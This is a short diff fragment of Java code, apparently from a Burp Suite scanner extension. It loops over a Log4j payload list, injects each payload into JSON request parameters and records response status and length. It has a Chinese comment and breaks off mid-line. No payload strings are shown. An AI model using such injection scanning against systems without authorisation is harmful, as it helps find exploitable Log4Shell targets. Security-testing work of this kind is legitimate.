+ ParamLength = String.valueOf(sqlresponseBody.length);
+ }
+ add(method, url, ParamstatusCode, ParamLength, newRequestResponse);
+ }
+
+ }
+ // 判断参数是否在json中
+ else if (para.getType() == PARAM_JSON) {
+ for (String logPayload : log4jPayload) {
+ String request_data = Utils.helpers.bytesToString(baseRequestResponse.getRequest()).split("\r\n\r\n")[1];
+ Map request_json = JSON.parseObject(request_data);
+ List